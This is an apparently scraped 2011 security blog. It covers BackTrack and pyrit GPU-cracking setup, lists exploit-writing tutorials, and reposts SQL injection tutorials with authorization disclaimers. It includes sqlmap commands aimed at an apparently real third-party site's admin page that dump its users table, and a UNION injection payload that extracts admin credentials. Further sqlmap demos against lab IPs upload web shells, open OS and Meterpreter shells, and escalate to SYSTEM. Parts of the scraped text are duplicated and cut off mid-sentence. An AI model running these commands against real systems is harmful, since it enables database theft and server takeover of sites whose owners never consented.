This tutorial is not my work but is OhHeyitsLou. Please credit to him.
Step by step tutorial
Youtube step by step tutorial
That's all! See you.
Open Source is a great idea and it has changed the world!
Open Source forever ....
While you do not know attack, how can you know about defense? (未知攻,焉知防?)
Do BAD things .... for the RIGHT reasons -- OWASP ZAP
It is easier to port a shell than a shell script. -- Larry Wall
Most of you are familiar with the virtues of a programmer. There are three, of course: laziness, impatience, and hubris. -- Larry Wall
为天地立心, 为生民立命, 为往圣继绝学, 为万世开太平。 -- 王炜
Sunday, December 25, 2011
HOWTO : BackTrack 5 R1 on Intel X79 Express chipset and nVidia display card
Hardware
CPU : Intel i7-3930K (Socket 2011, 12 cores with HT)
Display card : 2 x nVidia GeForce GTX 590 (1024 CUDA cores per card)
Installation of BackTrack 5 R1
BackTrack 5 R1 can be boot up on Intel X79 Express chipset motherboard with 2 nVidia GeForce GTX 590 display cards. However, "
Install the BackTrack 5 R1 as usual. When it is required to reboot, do not remove the BackTrack 5 R1 CD. Boot up the CD accordingly. After the BackTrack 5 R1 is booted up, mount the hard drive and add "
After that, reboot the system and remove the CD. The system will be boot into BackTrack 5 R1 without problem.
If the kernel is upgraded, you should rebuild the kernel headers by the following steps :
Installation of nVidia display driver
Go to nVidia Deleloper Zone CUDA Toolkit 4.0 to download the following. Do not enter to X11 by issuing "
(1) Download "
32-bit :
64-bit :
(2) Download "
32-bit :
64-bit :
(3) Download "
Append the following :
After that, reboot the system to make the nVidia driver effect.
Installation of pyrit
Go to the official site of pyrit.
Download pyrit and cpyrit-cuda (the current version is 0.4.0 at the time of this writing).
To test if the installation is correct or not.
That's all! See you.
Before water cooling
After water cooling
CPU : Intel i7-3930K (Socket 2011, 12 cores with HT)
Display card : 2 x nVidia GeForce GTX 590 (1024 CUDA cores per card)
Installation of BackTrack 5 R1
BackTrack 5 R1 can be boot up on Intel X79 Express chipset motherboard with 2 nVidia GeForce GTX 590 display cards. However, "
nomodeset" should be applied to the boot option by pressing "tab" on the boot menu.Install the BackTrack 5 R1 as usual. When it is required to reboot, do not remove the BackTrack 5 R1 CD. Boot up the CD accordingly. After the BackTrack 5 R1 is booted up, mount the hard drive and add "
nomodeset" to boot option of the grub.cfg at /boot/grub.After that, reboot the system and remove the CD. The system will be boot into BackTrack 5 R1 without problem.
If the kernel is upgraded, you should rebuild the kernel headers by the following steps :
prepare-kernel-sources
cd /usr/src/linux
cp -rf include/generated/* include/linux/Installation of nVidia display driver
Go to nVidia Deleloper Zone CUDA Toolkit 4.0 to download the following. Do not enter to X11 by issuing "
startx"; otherwise, the installation will be failed.(1) Download "
Developer Drivers for Linux (270.41.19)" for the nVidia Driver.32-bit :
wget http://developer.download.nvidia.com/compute/cuda/4_0/drivers/devdriver_4.0_linux_32_270.41.19.run64-bit :
wget http://developer.download.nvidia.com/compute/cuda/4_0/drivers/devdriver_4.0_linux_64_270.41.19.runchmod +x devdriver_4.0_linux_xx_270.41.19.run
./devdriver_4.0_linux_xx_270.41.19.run(2) Download "
CUDA Toolkit for Ubuntu Linux 10.10" for the CUDA Toolkit.32-bit :
wget http://www.nvidia.com/object/thankyou.html?url=/compute/cuda/4_0/toolkit/cudatoolkit_4.0.17_linux_32_ubuntu10.10.run64-bit :
wget http://www.nvidia.com/object/thankyou.html?url=/compute/cuda/4_0/toolkit/cudatoolkit_4.0.17_linux_64_ubuntu10.10.runchmod +x cudatoolkit_4.0.17_linux_xx_ubuntu10.10.run
./cudatoolkit_4.0.17_linux_xx_ubuntu10.10.run(3) Download "
GPU Computing SDK" for the nVidia SDK.wget http://developer.download.nvidia.com/compute/cuda/4_0/sdk/gpucomputingsdk_4.0.17_linux.runchmod +x gpucomputingsdk_4.0.17_linux.run
./gpucomputingsdk_4.0.17_linux.runnano /root/.bashrcAppend the following :
export PATH=$PATH:/usr/local/cuda/bin
LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/cuda/lib:/usr/local/cuda/lib64After that, reboot the system to make the nVidia driver effect.
Installation of pyrit
Go to the official site of pyrit.
http://code.google.com/p/pyrit/downloads/listDownload pyrit and cpyrit-cuda (the current version is 0.4.0 at the time of this writing).
tar -xzvf pyrit-0.4.0.tar.gz
cd pyrit-0.4.0
python setup.py build
python setup.py installtar -xzvf cpyrit-cuda-0.4.0.tar.gz
cd cpyrit-cuda-0.4.0
python setup.py build
python setup.py installTo test if the installation is correct or not.
pyrit list_cores
pyrit benchmark
pyrit benchmark_longThat's all! See you.
Before water cooling
After water cooling
Labels:
Back|Track,
CUDA,
nVidia,
pyrit,
X79
Friday, December 23, 2011
HOWTO : Ubuntu 12.04 LTS on Intel X79 Express Chipset and nVidia Display Card
At this writing, Ubuntu 12.04 LTS is still under heavy development and at Alpha 1 stage.
It is no problem to boot Ubuntu 12.04 LTS on Intel X79 Express Chipset due to Kernel version 3.2.
If the system is equipped with nVidia display card, you need to set "
That's all! See you.
It is no problem to boot Ubuntu 12.04 LTS on Intel X79 Express Chipset due to Kernel version 3.2.
If the system is equipped with nVidia display card, you need to set "
nomodeset" by pressing F6 on the boot up menu of the Live CD of Ubuntu 12.04 LTS. (Press Enter when "keyboard" and "human" figures appear on the bottom on the screen when booting up)That's all! See you.
Saturday, December 10, 2011
Exploit writing tutorial
The is the summary of the Corelan's Exploit writing tutorial offical site.
Part 1 : Stack Based Overflows
Part 2 : Stack Based Overflows - jumping to shellcode
Part 3 : SEH Based Exploits
Part 3b : SEH Based Exploits - just another example
Part 4 : From Exploit to Metasploit - The basic
Part 5 : How debugger modules & plugins can speed up basic exploit development
Part 6 : Bypassing Stack Cookies, SafeSeh, SEHOP, HW DEP and ASLR
Part 7 : Unicode - from 0x00410041 to calc
Part 8 : Win32 Egg Hunting
Part 9 : Introduction to Win32 shellcoding
Part 10 : Chaining DEP with ROP - the Rubik's Cube
Part 11 : Heap Spraying Demystified
That's all! See you.
Part 1 : Stack Based Overflows
Part 2 : Stack Based Overflows - jumping to shellcode
Part 3 : SEH Based Exploits
Part 3b : SEH Based Exploits - just another example
Part 4 : From Exploit to Metasploit - The basic
Part 5 : How debugger modules & plugins can speed up basic exploit development
Part 6 : Bypassing Stack Cookies, SafeSeh, SEHOP, HW DEP and ASLR
Part 7 : Unicode - from 0x00410041 to calc
Part 8 : Win32 Egg Hunting
Part 9 : Introduction to Win32 shellcoding
Part 10 : Chaining DEP with ROP - the Rubik's Cube
Part 11 : Heap Spraying Demystified
That's all! See you.
Labels:
Exploit
Friday, September 16, 2011
HOWTO : SQL Injection with SQLmap on Back|Track 5 R1
*** Do NOT attack any computer or network without authorization or you may put into jail. ***Credit to :ruo911
This is ruo911's work but not mine. I re-post it for educational purpose only.
Command
cd /pentest/web/scanners/sqlmap
python sqlmap.py -u http://www.pjirc.com/admin/file.php?id=146 --dbs
python sqlmap.py -u http://www.pjirc.com/admin/file.php?id=146 -D pjirc_forum --tables
python sqlmap.py -u http://www.pjirc.com/admin/file.php?id=146 -T users --columns
python sqlmap.py -u http://www.pjirc.com/admin/file.php?id=146 -T users -U test --dumptry login.
p.s
1. Backtrack 5 R1 - sqlmap
cd /pentest/database/sqlmap
2. user agent options
example)
--user-agent="Mozilla/5.0 (Windows NT 6.1; rv:6.0.1) Gecko/20100101 Firefox/6.0.1"
That's all! See you.
Labels:
SQL Injection,
SQLmap
HOWTO : SQL Injection by tools
*** Do NOT attack any computer or network without authorization or you may put into jail. ***Credit to : medmado1990
This is medmado1990's work but not mine. I re-post it for educational purpose only.
That's all! See you.
Labels:
SQL Injection
HOWTO : Blind SQL Injection
*** Do NOT attack any computer or network without authorization or you may put into jail. ***Credit to : KFProdigy
This is KFProdigy's work but not mine. I re-post it for educational purpose only.
Hello everyone, In this tutorial I show you how to manually do an SQL injection into a vulnerable site. Also, at the beginning when i say "google dorks", I dont mean that people from google are dorks, i mean actually go to google and search "dork" or "dorks"
basically its something like "inurl:news.php?id=" or anything along those lines. I hope this helps!
For more tutorials and tools, check out http://sqliunderground.co.cc , I have a really in-depth tutorial on there.
P.S. This is for educational purposes only.
THE THINGS I PASTE
group_concat(table_name)
from information_schema.tables where table_schema=database()--
concat(column,0x3a,column) from table/*
An example would be
Example.com/index.php?id=-32 UNION SELECT 1,2,3,4,5,concat(username,0x3a,password) from adminlogin/*,7,8,9 from information_schema.columns where table_schema=database()--
That's all! See you.
Labels:
SQL Injection
Thursday, September 15, 2011
Official SQLMap video demo series
*** Do NOT attack any computer or network without authorization or you may put into jail. ***Credit to : Bernardo
This is Bernardo's work but not mine. I re-post here for educational purpose only. It is because I enjoy his videos very much and I am afraid of losing them.
Original link is here.
HOWTO : Offical SQLMap video demonstration 1
HOWTO : Offical SQLMap video demonstration 2
HOWTO : Offical SQLMap video demonstration 3
HOWTO : Offical SQLMap video demonstration 4
HOWTO : Offical SQLMap video demonstration 5
HOWTO : Offical SQLMap video demonstration 6
HOWTO : Offical SQLMap video demonstration 7
HOWTO : Offical SQLMap video demonstration 8
HOWTO : Offical SQLMap video demonstration 9
HOWTO : Offical SQLMap video demonstration 10
HOWTO : Offical SQLMap video demonstration 11
HOWTO : Offical SQLMap video demonstration 12
That's all! See you.
Labels:
SQLmap
HOWTO : Offical SQLMap video demonstration 12
*** Do NOT attack any computer or network without authorization or you may put into jail. ***Credit to : Bernardo
This is Bernardo's work but not mine. I re-post here for educational purpose only. It is because I enjoy his videos very much and I am afraid of losing them.
Original link is here.
Demonstration of sqlmap out-of-band takeover features with Metasploit integration: sqlmap is launched against an ASP test page hosted on a Microsoft Windows 2003 server with back-end database management system being Microsoft SQL Server 2005.
The tool is instructed to identify possible SQL injections, then exploit a database's stored procedure heap-based buffer overflow vulnerability (MS09-004) if it is Microsoft SQL Server 2000 or 2005. sqlmap relies on Metasploit to create the shellcode which gets executed upon successful exploiting of the buffer overflow on the database server and establishes the connection between the user's machine and the database server.
The control is passed over to the Metasploit command line interface where the user can proceed to privilege escalate to SYSTEM by exploiting MS10-015 vulnerability with Meterpreter getsystem command.
Command
python sqlmap.py -u http://172.16.213.131/sqlmap/mqsql/iis/get_int.asp?id=1 --os-bof -v 1 --msf-path ~/software/metasploitThat's all! See you.
Labels:
SQLmap
HOWTO : Offical SQLMap video demonstration 11
*** Do NOT attack any computer or network without authorization or you may put into jail. ***Credit to : Bernardo
This is Bernardo's work but not mine. I re-post here for educational purpose only. It is because I enjoy his videos very much and I am afraid of losing them.
Original link is here.
Demonstration of sqlmap out-of-band takeover features with Metasploit integration: sqlmap is launched against a PHP test page hosted on a Debian GNU/Linux 5.0 server with back-end database management system being MySQL 5.1.
The tool is instructed to identify possible SQL injections and exploit them by spawning an out-of-band command prompt session between the user's machine and the database server. When the back-end database is MySQL, ASP and PHP languages do not support stacked queries (ASP.NET does though): there is no way to inject different SQL statements in the same HTTP request.
As a result, sqlmap uploads a web shell in a writable directory within the web server document root and uses it to execute the Metasploit payload stager previously created. The out-of-band command prompt session is now established and the control is passed over to the Metasploit command line interface.
Command
python sqlmap.py -u http://172.16.213.131/sqlmap/mqsql/get_int.php?id=1 --os-pwn --msf-path /home/inquis/software/metasploit -v 1That's all! See you.
Labels:
SQLmap
HOWTO : Offical SQLMap video demonstration 10
*** Do NOT attack any computer or network without authorization or you may put into jail. ***Credit to : Bernardo
This is Bernardo's work but not mine. I re-post here for educational purpose only. It is because I enjoy his videos very much and I am afraid of losing them.
Original link is here.
Demonstration of sqlmap out-of-band takeover features with Metasploit integration: sqlmap is launched against an ASP.NET test page hosted on a Microsoft Windows 2003 server with back-end database management system being PostgreSQL 8.4.
The tool is instructed to identify possible SQL injections and exploit them by spawning an out-of-band Meterpreter session between the user's machine and the database server then escalating database process' user privileges to SYSTEM. sqlmap first uploads a dynamic-linked library (DLL) used afterwards to create two user-defined functions (sys_exec() and sys_bineval()) in the database.
Then it asks the user for options to create the Metasploit shellcode and executes it in-memory within the database process via the injected sys_bineval() user-defined function.
The out-of-band Meterpreter session is now established and the control is passed over to the Metasploit command line interface where the user can enjoy a SYSTEM shell on the database server.
Command
python sqlmap.py -u http://172.16.213.131/sqlmap/pgsql/iis/get_int_84.aspx?id=1 --os-pwn --msf-path /home/inquis/software/metasploit --priv-esc -v 1That's all! See you.
Labels:
SQLmap
HOWTO : Offical SQLMap video demonstration 9
*** Do NOT attack any computer or network without authorization or you may put into jail. ***Credit to : Bernardo
This is Bernardo's work but not mine. I re-post here for educational purpose only. It is because I enjoy his videos very much and I am afraid of losing them.
Original link is here.
Demonstration of sqlmap command execution features: sqlmap is launched against an ASP.NET test page hosted on a Microsoft Windows 2003 server with back-end database management system being MySQL 5.0.
The tool is instructed to identify possible SQL injections and exploit them by spawning an interactive command prompt where the user can execute commands on the database server operating system. sqlmap first uploads a dynamic-linked library (DLL) used to create two user-defined functions (sys_exec() and sys_eval()) in the database then shows the command prompt.
For each command the user can choose if he wants to retrieve the command standard output or, alternatively, automatically retrieve the output for all commands. If the answer is positive (y or a), sqlmap executes the command once and stores its standard output in a support table.
Either boolean-based blind SQL injection or UNION query SQL injection technique is used to dump the entry of this table and delete it afterwards.
This technique is also implemented for PostgreSQL. On Microsoft SQL Server, xp_cmdshell extended stored procedure is used to execute commands on the underlying operating system.
Command
python sqlmap.py -u http://172.16.213.131/sqlmap/mysql/iis/get_int_50.aspx?id=1 --os-shell -v 1 --union-useThat's all! See you.
Labels:
SQLmap
HOWTO : Offical SQLMap video demonstration 8
*** Do NOT attack any computer or network without authorization or you may put into jail. ***Credit to : Bernardo
This is Bernardo's work but not mine. I re-post here for educational purpose only. It is because I enjoy his videos very much and I am afraid of losing them.
Original link is here.
Demonstration of sqlmap command execution features: sqlmap is launched against a PHP test page hosted on a Debian GNU/Linux 5.0 server with back-end database management system being PostgreSQL 8.4.
The tool is instructed to identify possible SQL injections and exploit them by executing a command on the database server operating system. sqlmap first uploads a dynamic-linked library (DLL) used to create two user-defined functions (sys_exec() and sys_eval()) in the database. Then it asks the user if he wants to retrieve the command standard output.
If the answer is positive, sqlmap executes the command once and stores its standard output in a support table. Either boolean-based blind SQL injection or UNION query SQL injection technique is used to dump the entry of this table and delete it afterwards. This technique is also implemented for MySQL.
On Microsoft SQL Server, xp_cmdshell extended stored procedure is used to execute commands on the underlying operating system.
Command
python sqlmap.py -u http://172.16.213.131/sqlmap/pgsql/get_int.8.4.php?id=1 --os-cmd "id" -v 1That's all! See you.
Labels:
SQLmap
HOWTO : Offical SQLMap video demonstration 7
*** Do NOT attack any computer or network without authorization or you may put into jail. ***Credit to : Bernardo
This is Bernardo's work but not mine. I re-post here for educational purpose only. It is because I enjoy his videos very much and I am afraid of losing them.
Original link is here.
Demonstration of sqlmap file system write access features: sqlmap is launched against a PHP test page hosted on a Debian GNU/Linux 5.0 server with back-end database management system being PostgreSQL 8.3.
The tool is instructed to identify possible SQL injections and exploit them by uploading a local file to the database server file system. sqlmap encoded the local file in base64, insert it into a temporary support table then abuses the PostgreSQL Large Object functions to export it to a file on the underlying file system.
Command
python sqlmap.py -u http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1 --write-file /etc/passwd --dest-file /tmp/writetest -v 2That's all! See you.
Labels:
SQLmap
HOWTO : Offical SQLMap video demonstration 6
*** Do NOT attack any computer or network without authorization or you may put into jail. ***Credit to : Bernardo
This is Bernardo's work but not mine. I re-post here for educational purpose only. It is because I enjoy his videos very much and I am afraid of losing them.
Original link is here.
Demonstration of sqlmap file system read access features: sqlmap is launched against an ASP test page hosted on a Microsoft Windows 2003 server with back-end database management system being Microsoft SQL Server 2005.
The tool is instructed to identify possible SQL injections and exploit them by retrieving a file from the database server file system. The file is stored locally on the user's machine and can be either a text or a binary file.
The technique used to dump this data from the back-end database software is the default, boolean-based blind SQL injection.
Command
python sqlmap.py -u http://172.16.213.131/mssql/iis/get_int.asp?id=1 --read-file "C:\example.txt" -v 2That's all! See you.
Labels:
SQLmap
HOWTO : Offical SQLMap video demonstration 5
*** Do NOT attack any computer or network without authorization or you may put into jail. ***Credit to : Bernardo
This is Bernardo's work but not mine. I re-post here for educational purpose only. It is because I enjoy his videos very much and I am afraid of losing them.
Original link is here.
Demonstration of sqlmap custom enumeration features: sqlmap is launched against a PHP test page hosted on a Debian GNU/Linux 5.0 server with back-end database management system being Oracle 10.2 Enterprise Edition.
The tool is instructed to identify possible SQL injections and exploit them by spawning a SQL shell where it is possible to provide custom SQL statements to be executed on the back-end database management system. sqlmap analyzes the provided SQL statement, decides which technique to use to execute it and proceeds accordingly.
Command
python sqlmap.py -u http://172.16.213.131/sqlmap/oracle/get_int.php?id=1 --sql-shell -v 2That's all! See you.
Labels:
SQLmap
HOWTO : Offical SQLMap video demonstration 4
*** Do NOT attack any computer or network without authorization or you may put into jail. ***Credit to : Bernardo
This is Bernardo's work but not mine. I re-post here for educational purpose only. It is because I enjoy his videos very much and I am afraid of losing them.
Original link is here.
Demonstration of sqlmap in-depth enumeration features: sqlmap is launched against a PHP test page hosted on a Debian GNU/Linux 5.0 server with back-end database management system being PostgreSQL 8.4.
The tool is instructed to identify possible SQL injections and exploit them by enumerating and dumping entries of all databases' tables containing one or more of the columns specified by the user. sqlmap always stores dumped entries in a local CSV file upon successful dump.
The technique used to dump this data from the back-end database software is the default, boolean-based blind SQL injection.
Command
python sqlmap.py -u http://172.16.213.131/sqlmap/pgsql/get_int8.4.php?id=1 --dump -C 'user,pass' -v 1 --exclude-sysdbsThat's all! See you.
Labels:
SQLmap
HOWTO : Offical SQLMap video demonstration 3
*** Do NOT attack any computer or network without authorization or you may put into jail. ***Credit to : Bernardo
This is Bernardo's work but not mine. I re-post here for educational purpose only. It is because I enjoy his videos very much and I am afraid of losing them.
Original link is here.
Demonstration of sqlmap options' granularity with verbose output: sqlmap is launched against an ASP test page hosted on a Microsoft Windows 2003 server with back-end database management system being Microsoft SQL Server 2005.
The tool is instructed to identify possible SQL injections and exploit them by dumping only from the second to the third entry of column surname of table users in the database testdb.
Command
python sqlmap.py -u http://172.16.213.131/sqlmap/mssql/iis/get_str2.asp?name=luther --dump -T users -C surname -D testdb --start 2 --stop 3 -v 2That's all! See you.
Labels:
SQLmap
HOWTO : Offical SQLMap video demonstration 2
*** Do NOT attack any computer or network without authorization or you may put into jail. ***Credit to : Bernardo
This is Bernardo's work but not mine. I re-post here for educational purpose only. It is because I enjoy his videos very much and I am afraid of losing them.
Original link is here.
Demonstration of sqlmap enumeration features with verbose output: sqlmap is launched against a PHP test page hosted on a Debian GNU/Linux 5.0 server with back-end database management system being Oracle 10.2 Enterprise Edition.
The tool is instructed to identify possible SQL injections, check if they are also exploitable via UNION query SQL injection technique, then enumerate the banner and the session user's password hash(es).
The technique used to dump this data from the back-end database software is specified by the user as UNION query SQL injection. If the parameter was not affected by UNION query SQL injection, sqlmap would have fallen back to the default technique, boolean-based blind SQL injection.
Command
python sqlmap.py -u http://172.16.213.131/sqlmap/oracle/get_init.php?id=1 -b --passwords -U CU --union-use -v 2That's all! See you.
Labels:
SQLmap
HOWTO : Offical SQLMap video demonstration 1
*** Do NOT attack any computer or network without authorization or you may put into jail. ***Credit to : Bernardo
This is Bernardo's work but not mine. I re-post here for educational purpose only. It is because I enjoy his videos very much and I am afraid of losing them.
Original link is here.
Demonstration of sqlmap database fingerprint and enumeration features: sqlmap is launched against a PHP test page hosted on a Debian GNU/Linux 5.0 server with back-end database management system being MySQL 5.1.
The tool is instructed to identify possible SQL injections and exploit them by extensively fingerprinting the back-end database management system, then enumerate the banner, the session user, the current database, the database's users, users' password hashes and available databases.
The technique used to dump this data from the back-end database software is the default, boolean-based blind SQL injection.
Command
python sqlmap.py -u http://172.16.213.131/sqlmap/mysql/get_init.php?id=1 -f -b --current-user --current-db --users --passwords --dbs -v 0That's all! See you.
Labels:
SQLmap
Subscribe to:
Posts (Atom)
